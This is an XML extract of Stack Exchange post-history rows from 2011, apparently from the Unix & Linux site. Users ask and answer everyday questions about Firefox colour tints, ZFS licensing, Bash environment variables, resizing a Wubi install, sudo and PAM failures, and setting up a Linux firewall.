  <row Id="22025" PostHistoryTypeId="5" PostId="9204" RevisionGUID="9b77a01e-c9fd-4da6-8cb0-4d7f95602b3f" CreationDate="2011-03-14T21:08:43.423" UserId="2163" Comment="Added screenshot and more details." Text="When I use Firefox in Linux Mint, everything has a kind of green shade to it. The monitor is fine. I'm guessing it's Mint branding.&#xD;&#xA;&#xD;&#xA;How do I remove it?&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;My original question wasn't clear - it's not the browser chrome that has the green shade, it's the pages themselves.&#xD;&#xA;&#xD;&#xA;Here's a screenshot - compare with the [actual page][1], and you'll see what I mean. To prove it's not the monitor, I right click on the photo of the sausages (I bet that's the first time that word's appeared on unix.se.com!) and save the image to the desktop. Then I view the image by double clicking on the new file and it displays fine.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://imgur.com/qiX6H&quot; title=&quot;Hosted by imgur.com&quot;&gt;http://imgur.com/qiX6H.png&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;There are two plugins installed - `Mint Search Enhancer` and `Stylish` - deactivating these makes no difference.&#xD;&#xA;  [1]: http://www.lovefood.com/guide/suppliers/11332/the-best-bangers-in-britain--" />
  <row Id="22026" PostHistoryTypeId="5" PostId="194" RevisionGUID="27fe962e-a978-4bb6-8b9b-75d390b77db2" CreationDate="2011-03-14T21:08:57.653" UserId="138" Comment="reworked prose; clarity improved, less combative..." Text="ZFS is not in the official Linux kernel, and never will be unless Oracle relicenses the code under something compatible with the GPL. &#xD;&#xA;&#xD;&#xA;Additionally, &lt;a href=&quot;http://www.techworld.com.au/article/360107/oracle_netapp_agree_settle_zfs_patent_litigation&quot;&gt;NetApp claims&lt;/a&gt; they own patents on some technology used in ZFS. NetApp settled their lawsuit with Sun after the Oracle buyout, but that settlement doesn't protect any other Linux distributor. (Red Hat, Ubuntu...)&#xD;&#xA;&#xD;&#xA;Today, your best options are:&#xD;&#xA;&#xD;&#xA; - Switch to &lt;a href=&quot;https://btrfs.wiki.kernel.org/index.php/Main_Page&quot;&gt;btrfs&lt;/a&gt;, which has similar features to ZFS but doesn't have the GPL license conflict and has been in the mainline kernel for testing since 2.6.29 (released in January 2009)&#xD;&#xA;&#xD;&#xA; - Use a different OS for your file server (FreeBSD 8, say) and use NFS to connect it to your Linux boxes&#xD;&#xA;&#xD;&#xA; - Use &lt;a href=&quot;http://zfs-fuse.net/&quot;&gt;ZFS on FUSE&lt;/a&gt;, a userspace implementation, which works neatly around the kernel licensing issue at the expense of a significant amount of performance&#xD;&#xA;&#xD;&#xA; - If you are able to integrate a kernel patch on-site, you can use &lt;a href=&quot;http://zfsonlinux.org/&quot;&gt;the Behlendorf port&lt;/a&gt; of ZFS to Linux. The &lt;a href=&quot;http://zfsonlinux.org/faq.html#WhatAboutTheLicensingIssue&quot;&gt;license conflict&lt;/a&gt; means you cannot sell or give the patched server away to someone outside your organization, as that would constitute distributing non-GPL-compatible code (ZFS) linked to GPL code (the Linux kernel).&#xD;&#xA;&#xD;&#xA;Incidentally, btrfs is also backed by Oracle, but was started years before the Sun acquisition. I don't believe the two will ever merge, or one be deprecated in favor of the other due to the license conflict and patent issue. ZFS is too popular to go away, but there will continue to be demand for a ZFS alternative." />
  <row Id="22027" PostHistoryTypeId="2" PostId="9255" RevisionGUID="a91714dd-68f0-4530-95ba-9d43e4013158" CreationDate="2011-03-14T21:40:41.497" UserId="5519" Text="I have observed that only the values of exported variables are appended to the my PATH variable via my Mac OS X .bash_profile. Whereas, the values of locally set variables cannot. Why can't local variables be appended to the path?" />
  <row Id="22028" PostHistoryTypeId="1" PostId="9255" RevisionGUID="a91714dd-68f0-4530-95ba-9d43e4013158" CreationDate="2011-03-14T21:40:41.497" UserId="5519" Text="Bash: Why can't local variables be appended to the path?" />
  <row Id="22029" PostHistoryTypeId="3" PostId="9255" RevisionGUID="a91714dd-68f0-4530-95ba-9d43e4013158" CreationDate="2011-03-14T21:40:41.497" UserId="5519" Text="ébashà" />
  <row Id="22030" PostHistoryTypeId="2" PostId="9256" RevisionGUID="d6994609-2aaa-4de1-a8f7-3d61126b1246" CreationDate="2011-03-14T21:44:48.260" UserId="885" Text="You can use the `-g` flag to output only the property you're interested in, and `-Pv` to print the value without any surrounding fluff. The result is easy to parse.&#xD;&#xA;&#xD;&#xA;    IFS=': '&#xD;&#xA;    set $(exiv2 -g Exif.Image.DateTime -Pv DSC_01234.NEF)&#xD;&#xA;    unset IFS&#xD;&#xA;    year=$1 month=$2 day=$3 hour=$4 minute=$5 second=$6&#xD;&#xA;&#xD;&#xA;It may also be helpful to change the file date to match the image date: `exiv2 -T DSC_01234.NEF`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22031" PostHistoryTypeId="6" PostId="9253" RevisionGUID="4b101878-1f83-4f7a-8a8a-230ef8a438ac" CreationDate="2011-03-14T21:44:58.887" UserId="885" Comment="edited tags" Text="ébashàéshellàéregexàéexifà" />
  <row Id="22033" PostHistoryTypeId="2" PostId="9258" RevisionGUID="71c128e9-0cba-425b-99fe-d4f972a311b1" CreationDate="2011-03-14T23:27:47.003" UserId="885" Text="In other words, you're using Wubi, right? As far as I know, it is currently not possible to resize a Wubi installation of Ubuntu 10.04 or 10.10.&#xD;&#xA;&#xD;&#xA;What you can do is add another virtual disk and mount it on `/home` or `/srv`, wherever you need room. There are instructions in the [Wubi guide](https://wiki.ubuntu.com/WubiGuide#How%20do%20I%20resize%20the%20virtual%20disks?). In a nutshell: download the [`wubi-add-virtual-disk`](https://wiki.ubuntu.com/WubiGuide?action=AttachFile&amp;do=view&amp;target=wubi-add-virtual-disk) script, and run the following command in a terminal (the number is the size of the new virtual disk):&#xD;&#xA;&#xD;&#xA;    sudo sh wubi-add-virtual-disk /srv 20000&#xD;&#xA;&#xD;&#xA;I recommend moving your installation to a real partition. It'll be less hassle in the long term. In your situation, the route I recommend is:&#xD;&#xA;&#xD;&#xA;1. Boot an Ubuntu 10.10 installation CD/USB, and perform a quick installation on a separate partition. Don't bother configuring anything.&#xD;&#xA;1. Boot your existing Wubi installation. Mount your new direct-to-partition installation. Let's call the mount point `/media/new`. Open a terminal and run the following commands to overwrite the new partition with your existing data from the Wubi installation, and set up the bootloader for the new partition.&#xD;&#xA;&#xD;&#xA;        cd /media/new&#xD;&#xA;        cp etc/fstab /var/tmp/fstab.new&#xD;&#xA;        rm -rf *&#xD;&#xA;        sudo cp -ax / .&#xD;&#xA;        chroot .&#xD;&#xA;        update-grub&#xD;&#xA;        grub-install /dev/sda&#xD;&#xA;1. Open both `/media/new/etc/fstab` and `/var/tmp/fstab.new` in an editor. In each file, there is a line with a single `/` in the second column. Replace the line in `/media/new/etc/fstab` with the one from `/var/tmp/fstab.new`.&#xD;&#xA;1. Reboot. You should now be in the new installation. Make sure everything is ok, then you can remove the Wubi files on the Windows partition.&#xD;&#xA;&#xD;&#xA;Keep a bootable Ubuntu CD/USB at hand, in case something goes wrong.&#xD;&#xA;&#xD;&#xA;Whatever you do, **make backups**. Making backups is the only way not to lose data.&#xD;&#xA;" />
  <row Id="22034" PostHistoryTypeId="5" PostId="9244" RevisionGUID="157416e5-eeab-4b1c-a5be-4560adbf08b3" CreationDate="2011-03-14T23:29:42.337" UserId="885" Comment="grammar" Text="I'm new to Linux. I've installed Ubuntu 10.10 from Windows 7. It's not in Virtual PC, it is independent. It uses a virtual drive in `c:`, I have chosen it to be 10 Gb.&#xD;&#xA;&#xD;&#xA;Now I want to increase the size of this drive. How to do this? I've configured the system for PHP MySQL and installed a lot of software and fixed wireless connection problems a lot of things i don't want to loose these things and start troubling again.&#xD;&#xA;&#xD;&#xA;I heard of backups, but I think it will take too long. Is there any other simple and fast way?&#xD;&#xA;" />
  <row Id="22035" PostHistoryTypeId="4" PostId="9244" RevisionGUID="157416e5-eeab-4b1c-a5be-4560adbf08b3" CreationDate="2011-03-14T23:29:42.337" UserId="885" Comment="grammar" Text="Ubuntu 10.10 installed from windows 7: how to expand drive?" />
  <row Id="22036" PostHistoryTypeId="6" PostId="9244" RevisionGUID="157416e5-eeab-4b1c-a5be-4560adbf08b3" CreationDate="2011-03-14T23:29:42.337" UserId="885" Comment="grammar" Text="éubuntuàéhardödiskàéwubià" />
  <row Id="22037" PostHistoryTypeId="25" PostId="9252" RevisionGUID="28a11b66-65b2-4e58-8d68-be98773d4f76" CreationDate="2011-03-14T23:31:19.883" Comment="http://twitter.com/#!/StackUnix/status/47439697328345088" />
  <row Id="22038" PostHistoryTypeId="2" PostId="9259" RevisionGUID="12072d4e-8222-40f7-8d3f-0b7d1f0f0142" CreationDate="2011-03-14T23:47:06.643" UserId="5722" Text="For Solaris you can use [pfiles][1] and then grep by `sockname:` or `port:`.&#xD;&#xA;&#xD;&#xA;A sample (from [here][2]):&#xD;&#xA;&#xD;&#xA;    pfiles `ptree | awk '{print $1}'` | egrep '^[0-9]|port:'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.com/man-page/All/1/pfiles/&#xD;&#xA;  [2]: http://www.linuxquestions.org/questions/solaris-opensolaris-20/netstat-and-pid-598053/" />
  <row Id="22039" PostHistoryTypeId="5" PostId="9243" RevisionGUID="45c24c0e-52d6-49d0-9f5b-3041356c0ba5" CreationDate="2011-03-15T00:31:00.550" UserId="2180" Comment="More code, better grammar" Text="The first-best thing would be to put the script in a standard location (such as `/usr/local/bin`) where the web server would have sufficient permissions to execute it.&#xD;&#xA;&#xD;&#xA;If that's not an option, you can change the group of the script using `chgrp groupname path`, then make it executable for the group by `chmod g+x path`. If the `_www` user isn't already in that group, add it to the group by `usermod -aG groupname _www`." />
  <row Id="22040" PostHistoryTypeId="5" PostId="9134" RevisionGUID="cdc9dece-701c-408c-8b69-17cc0c64a7ec" CreationDate="2011-03-15T01:39:39.897" UserId="5454" Comment="added 285 characters in body" Text="what's wrong with `grep -r` (== `grep --recursive`)?  Am I missing something here?&#xD;&#xA;&#xD;&#xA;(+1 for `ack` too -- I regularly use both)&#xD;&#xA;&#xD;&#xA;edit:  I found an excellent article detailing the possibilities and pitfalls if you don't have `GNU grep` [here][1].  But, seriously, if you don't have `GNU grep` available, getting `ack` is even more highly recommended.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aplawrence.com/Unixart/recursivegrep.html" />
  <row Id="22041" PostHistoryTypeId="5" PostId="9218" RevisionGUID="97b5697d-4e5a-4b7f-a781-269a622c46a6" CreationDate="2011-03-15T01:41:44.593" UserId="912" Comment="added 83 characters in body" Text="    $ sudo some_command&#xD;&#xA;    Password:&#xD;&#xA;    Sorry, try again.&#xD;&#xA;    Sorry, try again.&#xD;&#xA;    Sorry, try again.&#xD;&#xA;    sudo: 3 incorrect password attempts&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;This is what my shell prints when I enter a wrong password to a sudoed command.&#xD;&#xA;&#xD;&#xA;Why could this happen?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;    $ sudo -V&#xD;&#xA;    Sudo version 1.6.7p5&#xD;&#xA;    $ uname -a&#xD;&#xA;    Linux lazer 2.6.18-164.0.0.0.1.el5xen #1 SMP Thu Sep 3 00:34:43 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux&#xD;&#xA;    $ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="22042" PostHistoryTypeId="2" PostId="9260" RevisionGUID="76f60341-0dac-4ac7-b2b0-5c6e824f0c61" CreationDate="2011-03-15T02:25:04.103" UserId="2511" Text="I was experimenting with the RSA SecurID modules in my PAM configuration a while back, and successfully created exactly this behavior for myself, so I know one way to replicate what you're seeing.&#xD;&#xA;&#xD;&#xA;If you have a pam module that fails (returns `PAM_AUTH_ERR`) as either the only configured `required` module or as `requisite` before anything else (or in a number of other possible configurations with similar effect), it will instantly return failure to `sudo`, which will then try again, twice, getting three failures in quick succession. (You can configure `passwd_tries` in `/etc/sudoers` to a value other than 3 in order to get more or less failures, if for some reason you prefer.)&#xD;&#xA;&#xD;&#xA;So, I'm going to go ahead and guess that you've either messed up your PAM configuration, or else something pointed to by that configuration is failing (either correctly or not) in a way that doesn't introduce a delay. (The &quot;normal&quot; delay is usually actually introduced by the `pam_unix.so` module, unless you give it the `nodelay` argument.)&#xD;&#xA;&#xD;&#xA;One easy way to recreate this is to put&#xD;&#xA;&#xD;&#xA;    auth       requisite      pam_deny.so&#xD;&#xA;&#xD;&#xA;right above any existing `auth` lines in `/etc/pam.d/sudo`. (So, uh, if that's what you literally have, go ahead and remove it and find out who put it there. But more likely, it's something a little more complicated that happens to give the same effect.)" />
  <row Id="22043" PostHistoryTypeId="25" PostId="9237" RevisionGUID="c83a6470-cccf-45e0-8c58-3f3081f6e6e2" CreationDate="2011-03-15T02:31:19.570" Comment="http://twitter.com/#!/StackUnix/status/47484994200940545" />
  <row Id="22044" PostHistoryTypeId="5" PostId="9260" RevisionGUID="9b5b1461-f32f-4fba-ba66-116de638eaf5" CreationDate="2011-03-15T02:36:12.597" UserId="2511" Comment="added 152 characters in body; added 150 characters in body" Text="I was experimenting with the RSA SecurID modules in my PAM configuration a while back, and successfully created exactly this behavior for myself, so I know one way to replicate what you're seeing.&#xD;&#xA;&#xD;&#xA;If you have a pam module that fails (returns `PAM_AUTH_ERR`) as either the only configured `required` module or as `requisite` before anything else (or in a number of other possible configurations with similar effect), it will instantly return failure to `sudo`, which will then try again, twice, getting three failures in quick succession. (You can configure `passwd_tries` in `/etc/sudoers` to a value other than 3 in order to get more or less failures, if for some reason you prefer.)&#xD;&#xA;&#xD;&#xA;This doesn't prompt for your password once first, but there's definitely some PAM configurations which could do that, locking you out after the first failure and then returning failures quickly for the next tries.&#xD;&#xA;&#xD;&#xA;So, I'm going to go ahead and guess that you've either messed up your PAM configuration, or else something pointed to by that configuration is failing (either correctly or not) in a way that doesn't introduce a delay. (The &quot;normal&quot; delay is usually actually introduced by the `pam_unix.so` module, unless you give it the `nodelay` argument.)&#xD;&#xA;&#xD;&#xA;One easy way to recreate this is to put&#xD;&#xA;&#xD;&#xA;    auth       requisite      pam_deny.so&#xD;&#xA;&#xD;&#xA;right above any existing `auth` lines in `/etc/pam.d/sudo`. Again, that's insta-failure, not prompt-once-and-then-fail, but this should put you on the track for your specific configuration. (As I understand it, your setup works fine if you give the right password, so I'd look into the on-failure behaviors of your configured PAM modules.)" />
  <row Id="22045" PostHistoryTypeId="2" PostId="9261" RevisionGUID="63c51b76-0676-47b6-a4f8-92022bb6a2b3" CreationDate="2011-03-15T02:45:11.413" UserId="5286" Text="I have an old Dell Dimension with two ethernet cards, and I need to turn it into a firewall. I've tried FireStarter and IPCop, but I don't think I'm setting them up right. &#xD;&#xA;&#xD;&#xA;Here's the setup that I'm trying to accomplish: I need to have one ethernet card plugged directly into the modem, and the other ethernet card plugged into a 16-port switch/hub. &#xD;&#xA;&#xD;&#xA;Part of the problem is that I've never done this before and despite hours of Googling, I'm still not sure where to start. &#xD;&#xA;&#xD;&#xA;I don't need anything fancy or endlessly configurable - I just need some basic protection that I can tweak out later. The bottom line is that it's 10:45p, everyone else left the office at 5p, and I'm still trying to get this taken care of.&#xD;&#xA;&#xD;&#xA;Thanks in advance for any help." />
  <row Id="22046" PostHistoryTypeId="1" PostId="9261" RevisionGUID="63c51b76-0676-47b6-a4f8-92022bb6a2b3" CreationDate="2011-03-15T02:45:11.413" UserId="5286" Text="Turning an old computer into a network firewall..." />
  <row Id="22047" PostHistoryTypeId="3" PostId="9261" RevisionGUID="63c51b76-0676-47b6-a4f8-92022bb6a2b3" CreationDate="2011-03-15T02:45:11.413" UserId="5286" Text="élinuxàésecurityàédistrosàéfirewallà" />
  <row Id="22048" PostHistoryTypeId="2" PostId="9262" RevisionGUID="2dd52c29-c0ac-4fac-bc84-b1458b837b7c" CreationDate="2011-03-15T04:51:52.897" UserId="5454" Text="for sheer ease of use, I can recommend [Smoothwall][1].  I used it many years ago, and it was great then.  Just install it following the prompts, and you're done.  Of course, you can tweak it and fiddle with it if you want to, but you probably won't need to unless you have unusual requirements.  It's very good. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smoothwall.org/" />
  <row Id="22049" PostHistoryTypeId="2" PostId="9263" RevisionGUID="e2749ee6-be66-4f41-95f8-1ed7b6a65786" CreationDate="2011-03-15T05:04:33.157" UserId="195" Text="Basic routing:&#xD;&#xA;&#xD;&#xA;    echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward&#xD;&#xA;&#xD;&#xA;You'll probably want an iptables rule in place :&#xD;&#xA;&#xD;&#xA;    sudo iptables -t nat -A POSTROUTING -o other_ethernet_card -j MASQUERADE&#xD;&#xA;&#xD;&#xA;For the rest, I'll refer you to a &lt;a href=&quot;http://serverfault.com/q/133405/9138&quot;&gt;Server Fault&lt;/a&gt; question on the same topic that I answered." />
  <row Id="22050" PostHistoryTypeId="25" PostId="9261" RevisionGUID="0166fef0-cda9-498f-a760-ba38e986333e" CreationDate="2011-03-15T05:31:19.837" Comment="http://twitter.com/#!/StackUnix/status/47530293573337089" />
  <row Id="22051" PostHistoryTypeId="2" PostId="9264" RevisionGUID="bbb61f87-c6c8-4729-b469-cd4382a4a2fe" CreationDate="2011-03-15T06:53:46.540" UserId="2567" Text="I'm using IPCop at home just like you describes it.&#xD;&#xA;It is not really that updated, but it is stable and does it's work well.&#xD;&#xA;&#xD;&#xA;* Make sure that he recognise the hardware, the two network cards.&#xD;&#xA;* Red interface should be the one with the WAN / modem&#xD;&#xA;* Green interface is your home LAN.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22052" PostHistoryTypeId="25" PostId="9242" RevisionGUID="57d3c473-1cb6-4ce5-9f5f-992ceb519ad9" CreationDate="2011-03-15T08:31:20.040" Comment="http://twitter.com/#!/StackUnix/status/47575593474199552" />
  <row Id="22053" PostHistoryTypeId="2" PostId="9265" RevisionGUID="a3a7157e-3211-4059-acdb-8530a702552f" CreationDate="2011-03-15T09:39:55.850" UserId="5295" Text="Unix utilities like sort, find, grep, diff et al are very handy to perform quick tasks, sometimes without writing any code at all.&#xD;&#xA;&#xD;&#xA;I wanted to know what algorithms do they internally use and how do intelligently decide a specific algorithm for a specific task? For example if sort gets a huge input file, will it use different algorithms for different data sizes?&#xD;&#xA;&#xD;&#xA;Does grep intelligently switch algorithms while searching different data sets?" />
  <row Id="22054" PostHistoryTypeId="1" PostId="9265" RevisionGUID="a3a7157e-3211-4059-acdb-8530a702552f" CreationDate="2011-03-15T09:39:55.850" UserId="5295" Text="How intelligent are unix utilities?" />
  <row Id="22055" PostHistoryTypeId="3" PostId="9265" RevisionGUID="a3a7157e-3211-4059-acdb-8530a702552f" CreationDate="2011-03-15T09:39:55.850" UserId="5295" Text="étextöprocessingàégrepàésortà" />
  <row Id="22056" PostHistoryTypeId="2" PostId="9266" RevisionGUID="1aec9cea-c2a1-47a9-a3ef-b202169211dd" CreationDate="2011-03-15T09:46:17.607" UserId="4200" Text="Try `sudo -K` to remove the timestamp.&#xD;&#xA;Also have a look at the timestamps directory (/var/run/sudo on debian systems), maybe something went wrong there.&#xD;&#xA;" />
  <row Id="22057" PostHistoryTypeId="2" PostId="9267" RevisionGUID="7c84034e-9244-4298-b180-298d12e36021" CreationDate="2011-03-15T10:31:17.093" UserId="3082" Text="I use `-h` or `--help` or `-?`. Or sometimes `man command`. " />
  <row Id="22058" PostHistoryTypeId="2" PostId="9268" RevisionGUID="97000ece-4465-4748-b259-20a51039e642" CreationDate="2011-03-15T10:40:22.720" UserId="5664" Text="I have a:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Compaq 610 VC275EA 15,6&quot; WXGA i CELERON T1500&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;and I installed Fedora 14 on it. Everything is great, except one: the aspect ratio of the screen is not very good :\&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;http://bit.ly/e18LgF&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Can someone please say, that it cannot be fixed, or say: yes, it could be fixed, do xy, read xy, etc. :\ This is an issue for me for months now.. :\ Please help" />
  <row Id="22059" PostHistoryTypeId="1" PostId="9268" RevisionGUID="97000ece-4465-4748-b259-20a51039e642" CreationDate="2011-03-15T10:40:22.720" UserId="5664" Text="Help with aspect ratio issues - Fedora" />
  <row Id="22060" PostHistoryTypeId="3" PostId="9268" RevisionGUID="97000ece-4465-4748-b259-20a51039e642" CreationDate="2011-03-15T10:40:22.720" UserId="5664" Text="élinuxàéfedoraà" />
  <row Id="22061" PostHistoryTypeId="2" PostId="9269" RevisionGUID="ca32bb20-9a76-4d92-b1ff-8baa81e4cba8" CreationDate="2011-03-15T10:54:25.557" UserId="2671" Text="Unix is just a standard, it specifies what the implementations should do, but not how they should do it.&#xD;&#xA;&#xD;&#xA;Therefore implementations of grep/sort/find will most likely use different approaches on different systems (and even one system, like Linux, there are concurrent implementations).&#xD;&#xA;&#xD;&#xA;For Linux, you can always look into the source code." />
  <row Id="22062" PostHistoryTypeId="2" PostId="9270" RevisionGUID="e400872e-1618-4561-8869-36e43a55c559" CreationDate="2011-03-15T10:58:58.673" UserId="5733" Text="Hi..,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;       I am very new to shell scripting so just a beginner i have not yet hardly coded a single program. but i am interested to learn it completely please anybody  suggest me some good resources over online which will guide me good.&#xD;&#xA;&#xD;&#xA;thanks in advance" />
  <row Id="22063" PostHistoryTypeId="1" PostId="9270" RevisionGUID="e400872e-1618-4561-8869-36e43a55c559" CreationDate="2011-03-15T10:58:58.673" UserId="5733" Text="Regarding Shell Script Tutorials" />
  <row Id="22064" PostHistoryTypeId="3" PostId="9270" RevisionGUID="e400872e-1618-4561-8869-36e43a55c559" CreationDate="2011-03-15T10:58:58.673" UserId="5733" Text="éshellà" />
  <row Id="22065" PostHistoryTypeId="2" PostId="9271" RevisionGUID="043ad7dc-3048-4228-be6d-c9a0a552172d" CreationDate="2011-03-15T11:19:06.573" UserId="4950" Text="In a multi server architecture, is it possible to find out from which machine a user logged into current machine using `ssh`?&#xD;&#xA;&#xD;&#xA;For example, `user1` logged into `host1`. From there, the user logged into `host2` as `sruser` using `ssh`.&#xD;&#xA;&#xD;&#xA;In above example, would it be possible to trace the `sruser` session of `host2` back to `user1` session in `host1`?&#xD;&#xA;&#xD;&#xA;Would it be possible to get the hostname or terminal of `user1` session?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22066" PostHistoryTypeId="1" PostId="9271" RevisionGUID="043ad7dc-3048-4228-be6d-c9a0a552172d" CreationDate="2011-03-15T11:19:06.573" UserId="4950" Text="How to find the machine from which a user logged into current machine using ssh?" />
  <row Id="22067" PostHistoryTypeId="3" PostId="9271" RevisionGUID="043ad7dc-3048-4228-be6d-c9a0a552172d" CreationDate="2011-03-15T11:19:06.573" UserId="4950" Text="ésshàéusersàésolarisàésessionà" />
  <row Id="22068" PostHistoryTypeId="2" PostId="9272" RevisionGUID="46f324ef-7176-4562-8255-afe2949f0f49" CreationDate="2011-03-15T11:29:10.717" UserId="5734" Text="Hello!&#xD;&#xA;&#xD;&#xA;I'm a complete linux beginner so please keep your answer understandable for a noob :)&#xD;&#xA;I wrote a little java servlet and, in order to run it, acquired a VPS which ruins Centos 5.&#xD;&#xA;&#xD;&#xA;now, in order to run my servlet I guess the first thing to do is to install the latest JRE. I have SSH access and googled the web for tutorials on how to install java through ssh but most of them are very old, have broken links, link to sun or are very confusing.&#xD;&#xA;&#xD;&#xA;Can anyone give a simple step by step instruction on how to install the latest JRE through ssh?" />
  <row Id="22069" PostHistoryTypeId="1" PostId="9272" RevisionGUID="46f324ef-7176-4562-8255-afe2949f0f49" CreationDate="2011-03-15T11:29:10.717" UserId="5734" Text="install java on centos vps through ssh" />
  <row Id="22070" PostHistoryTypeId="3" PostId="9272" RevisionGUID="46f324ef-7176-4562-8255-afe2949f0f49" CreationDate="2011-03-15T11:29:10.717" UserId="5734" Text="ésshàécentosàéjavaà" />
  <row Id="22071" PostHistoryTypeId="25" PostId="9265" RevisionGUID="4e8a0d2a-7fae-4655-b6b3-d9679d312c21" CreationDate="2011-03-15T11:31:19.897" Comment="http://twitter.com/#!/StackUnix/status/47620890980126720" />
  <row Id="22072" PostHistoryTypeId="5" PostId="3294" RevisionGUID="f39503ba-a3f3-4f9a-8077-361c58e5bbb1" CreationDate="2011-03-15T11:35:23.823" UserId="2511" Comment="make more general" Text="I find myself spending a lot more time working with the web server at work than I have in other recent jobs. Are there any good tutorials or resources I can read to get myself more up to speed so that I am not confused by basic things like 'how to search all files in a directory and below for a given string', or 'how to find out how much memory is allocated to php'&#xD;&#xA;&#xD;&#xA;Basically what should I know for daily interaction with a Linux system and what are good resources to learn it.&#xD;&#xA;&#xD;&#xA;*( I'd like this to be kind of a faq for good introductory resources to Linux as an OS, so server tips are good, but it shouldn't have to be server only )*" />
  <row Id="22073" PostHistoryTypeId="5" PostId="9272" RevisionGUID="92da57be-e23c-4c9f-9bbf-010711e17c7b" CreationDate="2011-03-15T11:36:49.213" UserId="5734" Comment="deleted 1 characters in body" Text="Hello!&#xD;&#xA;&#xD;&#xA;I'm a complete linux beginner so please keep your answer understandable for a noob :)&#xD;&#xA;I wrote a little java servlet and, in order to run it, acquired a VPS which runs Centos 5.&#xD;&#xA;&#xD;&#xA;now, in order to run my servlet I guess the first thing to do is to install the latest JRE. I have SSH access and googled the web for tutorials on how to install java through ssh but most of them are very old, have broken links, link to sun or are very confusing.&#xD;&#xA;&#xD;&#xA;Can anyone give a simple step by step instruction on how to install the latest JRE through ssh?" />
  <row Id="22074" PostHistoryTypeId="2" PostId="9273" RevisionGUID="4bc968d0-8bed-4141-bac6-7a9e0b3f8e8c" CreationDate="2011-03-15T11:49:47.907" UserId="4477" Text="I will try to explain how shell variables work. It is absolutely possible to append local variables to an environment variable like PATH.&#xD;&#xA;&#xD;&#xA;Every running process has a list of environment variables. They are name=value pairs. When a new process is created with [fork()][1] it inherits those variables (among other things like open files, user id, etc). In contrast shell variables are an internal shell concept. They are not inherited when creating a new process. You can export shell variables and make them environment variables. When in a shell script you write `FOO='bar'` that's a shell variable. You can try creating 2 scripts:&#xD;&#xA;&#xD;&#xA;    # test1.sh&#xD;&#xA;    FOO='bar'&#xD;&#xA;    sh test2.sh&#xD;&#xA;    &#xD;&#xA;    # test2.sh&#xD;&#xA;    echo &quot;${FOO}&quot;&#xD;&#xA;&#xD;&#xA;When you execute the first script it sets an internal shell variable then calls fork(). The parent shell process will [wait()][2] for the child to finish then the execution continues (if there are more commands). In the child process [exec()][3] is called to load a new shell. This new process does not know about FOO. If you modify the first script:&#xD;&#xA;&#xD;&#xA;    # test1.sh&#xD;&#xA;    export FOO='bar'&#xD;&#xA;    sh test2.sh&#xD;&#xA;&#xD;&#xA;the FOO variable becomes part of the environment and inherited to the forked process. It's important to note that the environment is not global. Child processes can't affect their parent's environment variables.&#xD;&#xA;&#xD;&#xA;    # test3.sh&#xD;&#xA;    sh test4.sh&#xD;&#xA;    echo &quot;${PATH}&quot;&#xD;&#xA;&#xD;&#xA;    # test4.sh&#xD;&#xA;    export PATH=&quot;${PATH}:/new/path&quot;&#xD;&#xA;&#xD;&#xA;Modifications in test4.sh are not visible in test3.sh. Information simply does  not go that way. When the child process ends its environment is discarded. Let's change test3.sh:&#xD;&#xA;&#xD;&#xA;    # test3.sh&#xD;&#xA;    source test4.sh&#xD;&#xA;    echo &quot;${PATH}&quot;&#xD;&#xA;    &#xD;&#xA;Source is an built-in shell command. It tells the shell to open a file then read and execute its content. There is only a single shell process. This way the caller can see the modifications to the environment variables and even shell variables.&#xD;&#xA;&#xD;&#xA;As you probably know PATH is a special environment variable which tells the shell where to look for other executables. When a new login shell is started it automatically sources .bash_profile. The variables declared in there will be visible. However if in .bash_profile you call other scripts with sh the PATH you set in those scripts will be lost.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/2/fork&#xD;&#xA;  [2]: http://linux.die.net/man/2/wait&#xD;&#xA;  [3]: http://linux.die.net/man/3/exec" />
  <row Id="22075" PostHistoryTypeId="2" PostId="9274" RevisionGUID="2320ef99-d2d0-46ab-a68d-9bf355cd358d" CreationDate="2011-03-15T12:12:31.810" UserId="2351" Text="&gt; I wanted to know what algorithms do&#xD;&#xA;&gt; they internally use and how do&#xD;&#xA;&gt; intelligently decide a specific&#xD;&#xA;&gt; algorithm for a specific task? For&#xD;&#xA;&gt; example if sort gets a huge input&#xD;&#xA;&gt; file, will it use different algorithms&#xD;&#xA;&gt; for different data sizes?&#xD;&#xA;&#xD;&#xA;That is an interesting question (+1 for that). I have no clue as to what the answer is, but if I were you, I'd look at the source code of typical GNU utilities to get an idea of their algorithms.&#xD;&#xA;&#xD;&#xA;&gt; Does grep intelligently switch algorithms while searching different data sets?&#xD;&#xA;&#xD;&#xA;I don't think so. Don't quote me since I cannot really tell you with 100% certainty, but I really don't think so. The UNIX philosophy of things is that one thing does one thing and one thing only. That's why we have several versions of grep (`grep`, `egrep`, `fgrep`).&#xD;&#xA;&#xD;&#xA;Also, the idea is to do one thing and only one thing at run-time. Different behavior and algorithms can be configured as command-line arguments, so that the same program can act slightly differently (and possibly slightly more optimized) between runs. Good examples are the `wc` and `diff` command.&#xD;&#xA;&#xD;&#xA;However, the behavioral adaptation is configuration-based (via cmd line arguments); they don't change/adapt behavior at run-time. It  is typically an unnecessary complexity for the type of artifacts the UNIX tools aim to be. &#xD;&#xA;&#xD;&#xA;Such complexity is more appropriate of more complex, less general purpose tools IMO." />
